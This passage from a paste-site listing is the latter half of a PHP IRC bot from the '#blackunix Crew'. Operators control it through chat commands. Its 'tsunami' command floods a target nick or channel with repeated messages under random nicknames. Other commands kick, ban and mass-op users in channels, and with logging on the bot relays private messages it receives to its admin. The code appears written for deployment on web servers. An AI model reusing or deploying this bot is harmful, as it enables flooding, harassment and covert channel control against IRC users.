  772. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
  773. } else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
  774. } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  775. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  776. }
  777. elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
  778. $com[4] = strtolower($com[4]);
  779. if ($auth["$dNick"]["auth"]==2) {
  780. if ($auth["$dNick"]["status"]=="Admin") {
  781. if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
  782. unset($auth["$com[4]"]);
  783. fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  784. fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  785. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  786. } elseif ($auth["$dNick"]["status"]=="master") {
  787. if ($auth["$com[4]"]["status"]=="user") {
  788. unset($auth["$com[4]"]);
  789. fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  790. fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  791. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  792. } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  793. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  794. }
  795. elseif ($auth["$dNick"]["status"]) {
  796. if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
  797. $chan = strstr($dCommand,"#");
  798. $anick = str_replace("PRIVMSG ","",$dCommand);
  799. if ($com[3]==':!auth') {
  800. if ($auth["$dNick"]["auth"]==2) {
  801. fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
  802. } else {
  803. $whois = $dNick;
  804. fputs($fp,'WHOIS '.$dNick . CRL);
  805. }
  806. } elseif ($com[3]==':`auth' && $chan) {
  807. if ($auth["$dNick"]["auth"]==2) {
  808. fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is Authorized!' . CRL);
  809. } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized!' . CRL); }
  810. } elseif ($auth["$dNick"]["auth"]==2) {
  811. if ($com[3]==':`say' && $com[4] && $chan) {
  812. $msg = strstr($data,":`say");
  813. $msg = str_replace(":`say ","",$msg);
  814. fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
  815. }
  816. elseif ($com[3]==':`act' && $com[4] && $chan) {
  817. $msg = strstr($data,":`act");
  818. $msg = str_replace(":`act ","",$msg);
  819. fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
  820. }
  821. elseif ($com[3]==':`whois' && $com[4]) {
  822. $com[4] = strtolower($com[4]);
  823. if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Command whois Sekarang '.$wdomain . CRL); }
  824. elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Command whois Sekarang '.$wdomain . CRL); }
  825. }
  826. elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  827. if ($com[4]=="on") { $dnews = "on"; }
  828. elseif ($com[4]=="off") { $dnews = "off"; }
  829. fputs($fp, 'PRIVMSG '.$dNick.' :Detik News Sekarang '.$dnews . CRL);
  830. }
  831. elseif ($com[3]==':`slap' && $com[4] && $chan) {
  832. fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' around a bit with a large trout'. CRL);
  833. }
  834. elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
  835. $msg = strstr($data,":`msg");
  836. $msg = str_replace(":`msg $com[4] ","",$msg);
  837. fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
  838. }
  839. elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
  840. $msg = strstr($data,":`notice");
  841. $msg = str_replace(":`notice $com[4] ","",$msg);
  842. fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
  843. }
  844. elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
  845. $msg = strstr($data,":`ctcp");
  846. $msg = str_replace(":`ctcp $com[4] ","",$msg);
  847. fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
  848. }
  849. elseif ($com[3]==':`ping' && $chan) {
  850. $sml = $smile[rand(0,count($smile) - 1)];
  851. fputs($fp,'PRIVMSG '.$chan.' :ping...pong...ping... '. CRL);
  852. }
  853. elseif ($com[3]==':`pong' && $chan) {
  854. $sml = $smile[rand(0,count($smile) - 1)];
  855. fputs($fp,'PRIVMSG '.$chan.' :ping...pong...ping... '. CRL);
  856. }
  857. elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
  858. $bhost = $_SERVER['HTTP_HOST'];
  859. $bphp = $_SERVER['PHP_SELF'];
  860. fputs($fp,'NOTICE '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
  861. }
  862. elseif ($com[3]==':`up' && $chan) {
  863. fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
  864. }
  865. elseif ($com[3]==':`down' && $chan) {
  866. fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
  867. }
  868. elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
  869. $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  870. fputs($fp, 'NICK '.$nicktsu . CRL);
  871. if (substr($dCommand,0,3)=='433') {
  872. $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  873. fputs($fp, 'NICK '.$nicktsu . CRL);
  874. }
  875. $msg = strstr($data,":`tsunami");
  876. $msg = str_replace(":`tsunami $com[4]","",$msg);
  877. if (ereg("#", $com[4])) {
  878. fputs($fp, 'JOIN '.$com[4] . CRL);
  879. }
  880. fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.',' . CRL);
  881. fputs($fp, 'NOTICE '.$com[4].' :'.$msg.',' . CRL);
  882. fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.',' . CRL);
  883. fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.',' . CRL);
  884. fputs($fp, 'NOTICE '.$com[4].' :'.$msg.',' . CRL);
  885. fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.',' . CRL);
  886. if (ereg("#", $com[4])) {
  887. fputs($fp, 'PART '.$com[4].' :Complete' . CRL);
  888. fputs($fp, 'NICK '.$nick . CRL);
  889. } else {
  890. fputs($fp, 'NICK '.$nick . CRL);
  891. }
  892. }
  893. elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
  894. $msg = strstr($data,":`cycle");
  895. if (ereg("#", $com[4])) {
  896. $partchan = $com[4];
  897. $msg = str_replace(":`cycle $com[4]","",$msg);
  898. } else {
  899. $partchan = $chan;
  900. $msg = str_replace(":`cycle","",$msg);
  901. }
  902. if (strlen($msg)<3) {
  903. $msg = '';
  904. }
  905. fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  906. fputs($fp, 'JOIN '.$partchan . CRL);
  907. }
  908. elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") {
  909. $msg = strstr($data,":`part");
  910. if (ereg("#", $com[4])) {
  911. $partchan = $com[4];
  912. $msg = str_replace(":`part $com[4]","",$msg);
  913. } else {
  914. $partchan = $chan;
  915. $msg = str_replace(":`part","",$msg);
  916. }
  917. if (strlen($msg)<3) {
  918. $msg = '';
  919. }
  920. fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  921. $remchan = strtolower($partchan);
  922. if (in_array($remchan, $channel)) {
  923. $channels = str_replace("$remchan ","",$channels);
  924. unset($channel);
  925. $channel = explode(" ", $channels);
  926. }
  927. foreach ($channel as $v) {
  928. fputs($fp, 'JOIN '.$v . CRL);
  929. }
  930. }
  931. elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  932. if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
  933. $addchan = strtolower($com[4]);
  934. if (!in_array($addchan, $channel)) {
  935. $channel[]=$addchan;
  936. $channels.="$addchan ";
  937. }
  938. foreach ($channel as $v) {
  939. sleep(rand(1,6));
  940. fputs($fp, 'JOIN '.$v . CRL);
  941. }
  942. }
  943. elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
  944. $nick = $com[4];
  945. $identify = $com[5];
  946. fputs($fp, 'NICK '.$nick . CRL);
  947. fputs($fp, 'PRIVMSG [email protected] :identify '.$nick.' '.$identify. CRL);
  948. }
  949. elseif ($com[3]==':`k' && $com[4] && $chan) {
  950. $msg = strstr($data,":`k");
  951. $msg = str_replace(":`k $com[4]","",$msg);
  952. fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  953. }
  954. elseif ($com[3]==':`kb' && $com[4] && $chan) {
  955. $msg = strstr($data,":`kb");
  956. $msg = str_replace(":`kb $com[4]","",$msg);
  957. fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  958. fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
  959. }
  960. elseif ($com[3]==':`ganti') {
  961. $nick = $nicky[rand(0,count($nicky) - 1)];
  962. fputs($fp, 'NICK '.$nick . CRL);
  963. if (substr($dCommand,0,3)=='433') {
  964. $nick = $nicky[rand(0,count($nicky) - 1)];
  965. fputs($fp, 'NICK '.$nick . CRL);
  966. }
  967. }
  968. elseif ($com[3]==':`op' && $chan) {
  969. if ($com[4]) { $opnick = $com[4]; }
  970. else { $opnick = $dNick; }
  971. fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  972. }
  973. elseif ($com[3]==':`deop' && $chan) {
  974. if ($com[4]) { $opnick = $com[4]; }
  975. else { $opnick = $dNick; }
  976. fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  977. }
  978. elseif ($com[3]==':`v' && $chan) {
  979. if ($com[4]) { $vonick = $com[4]; }
  980. else { $vonick = $dNick; }
  981. fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  982. }
  983. elseif ($com[3]==':`dv' && $chan) {
  984. if ($com[4]) { $vonick = $com[4]; }
  985. else { $vonick = $dNick; }
  986. fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  987. }
  988. elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
  989. $msg = strstr($data,":`awaymsg");
  990. $msg = str_replace(":`awaymsg","",$msg);
  991. if (strlen($msg)<3) {
  992. $raway="on";
  993. fputs($fp,'AWAY : ' . 'AWAY' . CRL);
  994. } else {
  995. $raway="off";
  996. fputs($fp,'AWAY : ' . $msg . CRL);
  997. }
  998. }
  999. elseif ($com[3]==':`mode' && $com[4] && $chan) {
  1000. fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
  1001. }
  1002. elseif ($com[3]==':`nickmode' && $com[4]) {
  1003. $nickmode = $com[4];
  1004. fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
  1005. }
  1006. elseif ($com[3]==':`chanlist') {
  1007. fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
  1008. }
  1009. elseif ($com[3]==':`userlist') {
  1010. $userlist="";
  1011. foreach ($auth as $user) {
  1012. if ($user["pass"]) { $pass="-pass ok"; }
  1013. else { $pass="-no pass"; }
  1014. $userlist .= $user["name"].'('.$user["status"].$pass.') ';
  1015. }
  1016. fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
  1017. }
  1018. elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
  1019. $msg = strstr($data,":`quit");
  1020. $msg = str_replace(":`quit","",$msg);
  1021. if (strlen($msg)>3) {
  1022. $msg = str_replace(" ","_",$msg);
  1023. }
  1024. $quit1 = array("ngantor","nguantuk","sama","brb","bye_all","s33_you","excess_flood","pingtimeout","hehe","bye","mandi","makan","muuah","quit","conection_reset_bay_peer","banned","part","leaving","ada_deh","call_me","wew","aku.masih.pemula.nechh","no_komen","restart");
  1025. $quitmsg = $quit1[rand(0,count($quit1) - 1)];
  1026. fputs($fp, 'QUIT ' . $quitmsg . CRL);
  1027. $keluar = 1;
  1028. exit;
  1029. }
  1030. elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
  1031. if ($com[4]) { $localhost = $com[4]; }
  1032. else { $localhost = 'localhost'; }
  1033. $keluar = 0;
  1034. fputs($fp, 'QUIT ' . CRL);
  1035. }
  1036. elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
  1037. if (!eregi(".dal.net",$com[4])) {
  1038. $remotehost = "irc.dal.net";
  1039. } else { $remotehost = $com[4]; }
  1040. $keluar = 0;
  1041. fputs($fp, 'QUIT changging_server' . CRL);
  1042. }
  1043. elseif ($com[3]==':`dns' && $com[4]) {
  1044. $com[4] = strtolower($com[4]);
  1045. if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Command Untuk Pencarian DNS Sekarang '.$dns . CRL); }
  1046. elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Command Untuk Pencarian DNS Sekarang '.$dns . CRL); }
  1047. }
  1048. elseif ($com[3]==':`jadwal' && $com[4]) {
  1049. $com[4] = strtolower($com[4]);
  1050. if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Command Untuk Jadwal sholat '.$jadwal . CRL); }
  1051. elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Command Untuk Jadwal sholat '.$jadwal . CRL); }
  1052. }
  1053. elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
  1054. if (!$com[4]) {
  1055. $username = $username;
  1056. } else { $username = $com[4]; }
  1057. $keluar = 0;
  1058. fputs($fp, 'QUIT ganti_ident' . CRL);
  1059. }
  1060. elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
  1061. if (!$com[4]) {
  1062. $realname = "--";
  1063. } else { $realname = $com[4]; }
  1064. $keluar = 0;
  1065. fputs($fp, 'QUIT ganti_fullname' . CRL);
  1066. }
  1067. elseif ($com[3]==':`topic' && $com[4] && $chan) {
  1068. $msg = strstr($data,":`topic");
  1069. $msg = str_replace(":`topic ","",$msg);
  1070. fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
  1071. }
  1072. elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  1073. if ($com[4]=="on") { $dnews = "on"; }
  1074. elseif ($com[4]=="off") { $dnews = "off"; }
  1075. fputs($fp, 'PRIVMSG '.$dNick.' :Detik News Sekarang '.$dnews . CRL);
  1076. }
  1077. elseif ($com[3]==':!help' && !$chan) {
  1078. fputs($fp,'PRIVMSG '.$dNick.' :4 - #blackunix Crew Bot Help - PoWeReD By uyap -' . CRL);
  1079. fputs($fp,'PRIVMSG '.$dNick.' :[ auth <password> | !auth `auth | deauth | adduser <nick> <master/user> | deluser <nick> | pass <password> | chgpass <old pass> <new pass> ]' . CRL);
  1080. fputs($fp,'PRIVMSG '.$dNick.' :[ `say <message> | `act|slap <message> | `msg|notice|ctcp <nick> <message> | `ping/pong | `up | `down ]' . CRL);
  1081. fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> <message> | `join <channel/#channel> | `part <#channel> <message> | `nickmode <+/-nickmode> ]' . CRL);
  1082. fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami <nick/#channel> <message> | `botnick <new nick> <identify> | `k/kb <nick> <message> | `op <nick> | `deop <nick> | `v <nick> | `dv <nick> ]' . CRL);
  1083. fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|dns <on/off> | `awaymsg <message> | `mode <+/-chanmode> | `chanlist | `userlist | `quit <message> | `vhost <ip address/hostname> ]' . CRL);
  1084. fputs($fp,'PRIVMSG '.$dNick.' :[ `jump <server.telkomnet.id.allnetwork.org> | `ident <username> | `fullname <realname> | `topic <new chan topic> | `log <on/off> ]' . CRL);
  1085. fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL);
  1086. }
  1087.  
  1088.  
  1089. } else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
  1090. }
  1091. }
  1092. elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
  1093. if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
  1094. if (!ereg("#",$dCommand)) {
  1095. if ($log=="on") {
  1096. fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
  1097. }
  1098. $inv = strstr($dFrom,'@');
  1099. foreach ($auth as $user) {
  1100. if ($user["status"]=="user") {
  1101. fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
  1102. }
  1103. }
  1104. }
  1105. }
  1106. elseif (!ereg("#",$dCommand)) {
  1107. if ($log=="on") {
  1108. fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
  1109. }
  1110. }
  1111. }
  1112. }
  1113. }
  1114. elseif (substr($data,0,4) == 'PING') {
  1115. fputs($fp,'PONG ' . substr($data,5) . CRL);
  1116. $smile = $querym[rand(0,count($querym) - 1)];
  1117. $kata1 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  1118. $kata2 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  1119. fputs($fp,'PRIVMSG #shinchi :' . $kata1 . ' ' . $kata2 . $smile . CRL);
  1120. }
  1121. }
  1122. }
  1123. fclose ($fp);
  1124. } while ($keluar==0);
  1125. }
  1126. working($nick);
  1127. ?>
Advertisement
Add Comment
Please, Sign In to add comment